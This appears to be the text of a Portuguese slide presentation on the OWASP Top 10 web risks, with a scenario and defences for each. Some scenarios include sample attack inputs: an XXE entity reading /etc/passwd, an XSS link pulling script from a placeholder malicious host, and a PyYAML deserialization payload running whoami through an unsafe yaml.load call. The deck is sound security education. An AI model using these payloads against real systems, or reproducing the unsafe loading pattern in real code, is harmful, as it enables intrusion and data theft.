  • 12. A2 - Quebra de Autenticação Má implementação das funç õ es de autenticaç ã o ou gerenciamento de sessã o ( contas expostas, senhas, IDs de sessã o) no qual possibilitam assumir a identidade de outro usuá rio. Houver ausência de mecanismo de proteção (hash, criptografia), assim com a exposição dos ID's de sessão diretamente nas URL's, ID's de sessão que não expiram e etc. Severo - Pode comprometer algumas ou todas as contas dos usuários. Uma vez bem sucedido, qualquer ação pode ser feita através das contas utilizadas (ex: admin) Fácil - Ataques baseados em alteração e/ou reutilização de informações para assumir outras identidades Dificuldade para explorar Impacto Vulnerável se O que é
  • 13. A2 - Cenário - Quebra de Autenticação ;jsessionid=EB4FFE6F0B917F27A44767177A66D44F ■ Compra de passagem 1 2 3 Usuário compra passagem Usuário compartilha o link Usuário malicioso agora pode realizar compra de passagem usando as credenciais de outro usuário
  • 14. A2 - Como evitar Quebra de Autenticação ? Arquitetura Centralizar e padronizar o modelo de controle de autenticação Criptografia Sempre utilizar criptografia para dados sensíveis armazenados e/ou para transição dos mesmos (SSL) Ferramentas Utilizar ferramentas OWASP para tal - Enterprise Security API (ESAPI) URL Evitar passar ID de sessão através da URL
  • 15. A3 - Exposição de Dados Sensíveis Dados importantes no qual estão expostos de forma indevidamente protegida (ofuscada) Houver ausência ou mal uso de mecanismo de proteção (hash, criptografia) e até mesmo uso de chaves fracas Severo - Geralmente compromete todos os dados do sistema, como credenciais de acesso, cartões de crédito, dados pessoais e etc Médio - Ataques baseados em explorar outros mecanismos para chegar aos dados sensíveis Dificuldade para explorar Impacto Vulnerável se O que é
  • 16. A3 - Cenário - Exposição de Dados Sensíveis ■ Dados sensíveis em texto claro 1 Usuário realiza pagamento com cartão de crédito e sistema armazena em texto claro 2 O sistema gera log de todas as informações 3 Um endpoint externo possibilita o uso de logs e através do mesmo é possível obter todos os CC ID CC 1 000000000000
  • 17. A3 - Como evitar Exposição de Dados Sensíveis ? Armazenamento Seguro Utilizar criptografia para dados sensíveis armazenados Chaves fortes Utilizar algoritmos fortes (criptografia) Autocomplete Desabilitar funções de autocomplete em formulários que trabalham com dados sensíveis Distribuição de chaves Distribuir chave apenas para as partes autorizadas e de forma controlada
  • 18. A4 - Entidades Externas XML (XXE) Injeção de referências (entidades) a partir de mal uso ou validação dos processadores de XML Houver ausência de validação de entrada dos XML's (uploads - fontes desconhecidas), se o sistema usar o SOAP antes da versão 1.2 e se houver ausência de validação das entidades Severo - Possibilita a extração dados, execução remota do servidor, escaneamento sistemas internos, execução de um ataque de negação de serviço e etc Médio - Torna-se necessário, por exemplo, realizar upload de XML ou incluir conteúdo malicioso no XML para realizar a exploração Dificuldade para explorar Impacto Vulnerável se O que é
  • 19. A4 - Cenário - Entidades Externas XML ■ Execução de comando através de Entidade XML 1 Sistema aceita upload de arquivo XML (Nota Fiscal) 2 Usuário malicioso envia novo XML com a entidade alterada 3 O processador de XML retorna informações conforme solicitado pela entidade <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <creds> <user>&xxe;</user> <pass>password</pass> </creds>
  • 20. A4 - Como evitar Entidades Externas XML ? Atualização Atualizar todos os processadores de XML, assim como o SOAP para uma versão superior à 1.2 Inativação Desativar o processamento da entidade externa XML Whitelist Implementar validação e/ou filtro de entrada para definir o que é ou não aceito (lista branca) Tecnologia Se possível, preferir à usar JSON ao invés de XML
  • 21. A5 - Quebra de Controle de Acesso Usuários não autorizados são capazes de acessar determinadas ações/arquivos do sistema Ausência de verificação se o usuário solicitante tem permissão para acessar a URL, arquivo, diretório e/ou determinada ação do sistema Moderado - Possibilita o comprometimento de determinados objetos referenciados, assim como a exposição dos mesmos Fácil - Ataques baseados em mudança de parâmetro que exploram as referências do objeto Dificuldade para explorar Impacto Vulnerável se O que é
  • 22. A5 - Cenário - Quebra de Controle de Acesso ■ Acessar dados de outro usuário sem a devida permissão 1 Usuário acessa da própria conta 2 Através da URL, muda o número do usuário 3 Obtém acesso a conta de outro usuário
  • 23. A5 - Como evitar Quebra de Controle de Acesso ? Input Tratar todas as entradas fornecidas pelo usuário Permissão Validar se o usuário tem autorização diante o que foi solicitado Tipo de acesso Validar os tipos de acesso do usuário (leitura, escrita, exclusão) Ferramentas Utilizar ferramentas OWASP para tal - Enterprise Security API (ESAPI)
  • 24. A6 - Configuração Incorreta de Segurança Má configuração em geral que podem afetar qualquer nível da pilha de aplicação Houver sistema desatualizado (S.O, SDBD, Servidor Web, Bibliotecas), recursos ativos que são desnecessários (portas, serviços, contas), erros que revelam informações importantes e etc Moderado - Possibilita o acesso não autorizado à determinados serviços que podem levar o comprometimento do sistema, assim como pode ocorrer a exposição de dados Fácil - Ataques baseados em explorar falhas conhecidas, páginas não utilizadas e serviços expostos Dificuldade para explorar Impacto Vulnerável se O que é
  • 25. A6 - Cenário - Configuração Incorreta de Segurança ■ Erro na configuração de acesso à página do servidor web 1 Após um scanner das páginas disponíveis na aplicação, o usuário malicioso descobre página de configuração do servidor de aplicação, no qual é restrita para admins
  • 26. A6 - Como evitar Configuração Incorreta de Segurança ? Hardening Criar políticas de "blindagem" para os ambientes Política de Atualização Processo de atualização de correções de software (patch de segurança) Auditorias Checar periodicamente as políticas de segurança Varredura de Segurança Checar periodicamente as possíveis vulnerabilidades existentes nos ambientes
  • 27. A7 - Cross-Site Scripting (XSS) Dados não confiáveis são enviados para o navegador da vítima sem a validaç ã o ou filtro apropriado referente ao conteú do. Dividido em 3 tipos: Refletido, Persistente e Baseado em DOM Houver ausência de validação e/ou tratamento das informações fornecidas para o sistema (inputs), assim como para as API's de terceiros Moderado - Possibilita o sequestro de sessão, roubo de dados sensíveis, redirecionamento para páginas maliciosas, inserção de arquivos maliciosos e etc Fácil - Ataques baseados em script que exploram a sintaxe do interpretador alvo Dificuldade para explorar Impacto Vulnerável se O que é
  • 28. A7 - Cenário - Cross-Site Scripting (XSS Refletido) ■ Execução de script ao acessar uma página de um site 1 Usuário recebe link por e-mail 2 Através do link há um script no qual realiza uma execução Assunto: Promoção imperdível!!!! É só clicar -> www.compreaqui.com.br De: xpto@shopconfiavel.com.br Para: inocente@gmail.com <script>alert('aqui tem XSS, BIIIRRRL')</script> <a href="http://confianenem.org.br/busca.cgi?cc=<script src='http://malicioso.com.br/malicioso.js'></script>">segur ancatotal.org.br</a>
  • 29. A7 - Como evitar Cross-Site Scripting (XSS) ? Input Tratar todas as entradas fornecidas pelo usuário Whitelist Implementar validação e/ou filtro de entrada para definir o que é ou não aceito (lista branca) Output Tratar todas as saídas para o usuário através de encoding ou escaping de caracteres Bibliotecas Utilizar bibliotecas de auto-sanatização
  • 30. A8 - Desserialização Insegura Modificação da lógica da aplicação com foco em execução arbitrária de código Caso a aplicação permite a alteração do objeto durante e após a desserialização Severo - Possibilita um invasor de executar códigos remotamente, manipular e até mesmo apagar objetos serializados (escritos em disco), assim como realizar escalonamento de privilégios Difícil - Exige um conhecimento técnico mais aprofundado para entender as oportunidades de ataque para a vulnerabilidade em questão Dificuldade para explorar Impacto Vulnerável se O que é
  • 31. A8 - Cenário - Desserialização Insegura ■ Execução arbitrária de código através da leitura de um arquivo 1 Usuário malicioso encontra um trecho de código no qual possibilita execução de outro código 2 Realiza a execução de um código arbitrário para obter informação do host local import yaml with open('malicious.yml') as yaml_file: contents = yaml.load(yaml_file) print(contents['foo']) foo: !!python/object/apply:subprocess.check_output ['whoami']
  • 32. A8 - Como evitar Desserialização Insegura ? Arquitetura Recusar objetos serializados de fontes desconhecidas Isolamento Executar código que desserializa em ambientes de privilégios baixos quando possível Exceções Apresentar exceções e falhas de desserialização quando o tipo de entrada não for o esperado Monitoramento e Restrição Restringir e monitorar a rede de entrada e saída de objetos
  • 33. A9 - Utilização de Componentes Vulneráveis Conhecidos Componentes e/ou bibliotecas utilizados na aplicação que são vulneráveis Não houver reconhecimento de todos os componentes utilizados, assim como se houver algum componente externo ou interno que tenha alguma vulnerabilidade conhecida Moderado - Possibilita que outros tipos de falhas sejam exploradas e eventualmente chegue a comprometer parte ou completamente a aplicação Médio - Ataques geralmente baseados em exploits para vulnerabilidades já conhecidas Dificuldade para explorar Impacto Vulnerável se O que é
  • 34. A9 - Cenário - Utilização de Componentes Vulneráveis Conhecidos ■ Uso de componente vulnerável 1 Usuário malicioso realiza varredura no sistema e encontra um componente vulnerável 2 Descobre que o componente é vulnerável à injeção 3 Desenvolve um exploit para o componente em questão e explora a falha
  • 35. A9 - Como evitar Utilização de Componentes Vulneráveis Conhecidos ? Atualização Manter todos os componentes sempre atualizados Política de Segurança Estabelecer políticas de segurança para o uso dos componentes no desenvolvimento Testes de Segurança Envolver os componentes nos testes de segurança Fronteira Estabelecer limites de escopo de do componente na aplicação
  • 36. A10 - Monitoramento de Eventos e Registros Insuficientes Ineficiência em resposta aos incidentes, possibilitando que os atacantes concluam os seus objetivos (ex: varredura). Houver ausência ou falta de logs com avisos e erros gerados pela aplicação, assim como a falta de monitoramento dos serviços, sejam estes internos ou externos (ex: API). Outro ponto é quando a própria aplicação não consegue detectar e nem alertar em tempo real os ataques ativos Moderado - Possibilita comprometimento dos mais variados tipos, só vai depender do que estiver sendo explorado Média - É necessário fazer um estudo da app para saber quais recursos estão ou não sendo monitorados, assim como os que geram ou não log Dificuldade para explorar Impacto Vulnerável se O que é
  • 37. A10 - Cenário - Monitoramento de Eventos e Registros Insuficientes ■ Varredura de serviços e portas disponíveis externamente 3 Faz uso indevido de tais informações para roubar os dados dos clientes 1 Usuário malicioso realiza varredura no sistema, descobre quais portas estão expostas e que nenhum alerta é gerado 2 Descobre qual dos serviços é responsável pelas senhas de acesso
  • 38. A10 - Como evitar Monitoramento de eventos e Registros Insuficientes ? Monitoramento Estabelecer o monitoramento e alerta de modo que as atividades suspeitas sejam detectadas e respondidas em tempo hábil. Plano de Resposta Adotar um plano de resposta e recuperação de incidentes (ex: NIST 800-61 rev 2) Auditorias Realizar periodicamente auditorias de segurança Ferramentas Utilizar ferramentas para tal - AppSensor, WAF, Dashboard de monitoramento e etc
  • 40. Ferramentas Ferramenta para Testes de Segurança Aplicação vulnerável para estudo Aplicação vulnerável para estudo Ferramenta para Testes de Segurança Zed Attack Proxy
  • 41. Obrigado! Quem sou: Igor Carneiro Atuação: Analista de Qualidade de Software Hobbies: Corrida, livro e videogame E-mail: igor.ribeiro.carneiro@gmail.com LinkedIn: in/igorcarneiro
  • 42. “ Cybersecurity used to be about the network or operating system. Now it's more at the application layer. Companies and their contractors build their own applications hosted on a public website, and the people who write them aren't trained in secure coding. The mistakes they make can be leveraged to break the system. By Kevin Mitinick
  • 43. Referências ■ https://www.owasp.org ■ https://dzone.com/articles/what-is-insecure-deserialization ■ http://blog.securecodewarrior.com/2016/04/releasing-secure-coding-learning.html ■ https://sensedia.com/blog/apis/owasp-2017-top-10-riscos-seguranca-apis/ ■ https://depthsecurity.com/blog/exploitation-xml-external-entity-xxe-injection ■ https://pyyaml.org/wiki/PyYAMLDocumentation ■ http://blog.conviso.com.br/ ■ https://www.veracode.com/blog ■ https://www.owasp.org/index.php/Appendix_A:_Testing_Tools ■ https://www.forbes.com/2008/08/21/mitnick-hackers-security-tech-security-cx_ag_0 821mitnick.html